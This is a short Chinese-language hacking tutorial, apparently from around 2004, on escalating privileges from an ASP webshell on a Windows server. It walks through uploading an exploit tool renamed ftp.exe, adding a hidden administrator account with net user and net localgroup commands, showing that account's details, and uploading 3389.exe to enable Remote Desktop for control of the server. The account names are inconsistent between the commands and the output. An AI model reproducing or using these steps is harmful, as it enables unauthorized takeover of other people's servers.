ASP提升权限开3389 控制服务器

  attrib E:\RECYCLER

s(系统） R(只读） H（隐藏）   

现实 SH 说明此目录有权限 可以提升加用户  

net user 能显示出来``说明它服务器有这个漏洞``````  

现在我们来上传利用工具 我就不打字了``````自己看吧```````  

E:\RECYCLER\ftp.exe   这是上传上去工具的路径````现在我们来跟自己加个管理员帐号`````  

命令是   E:\RECYCLER\ftp.exe "net user link linklink /add"  

现在我们来把    光屁股$Content$nbsp; 这个帐号提升为管理员````      

这里是命令    E:\RECYCLER\ftp.exe "net localgroup administrators link /add"  

现在我们来看看 光屁股这个帐号的资料 

    要生成的文件内容，不可以有回车：

用户名                 光屁股$

全名                    

注释                   

用户的注释             

国家(地区)代码         000 (系统默认值)

帐户启用               Yes

帐户到期               永不  

上次设置密码           2004/10/17 上午 06:01

密码到期               2004/11/29 上午 04:49

密码可更改             2004/10/17 上午 06:01

需要密码               Yes

用户可以更改密码       Yes  

允许的工作站           All

登录脚本               

用户配置文件           

主目录                 

上次登录               永不  

可允许的登录小时数     All  

本地组会员             *Administrators       *Users                

全局组成员             *None                 

命令成功完成。  

看到了吧``已经是admin管理员了```本地组会员            *Administrators       *Users    

现在我们主要是去开他 3389   然后终端连接

传个 3389.exe去  

D:\mine\3389.exe 这就是开33898终端服务的工具路径了````我们只要在CMD里面输入 

D:\mine\ftp.exe "D:\mine\3389.exe"

然后只需要在CMD命令输入里面 输入上面的命令   然后回车 就可以开他 3389 了。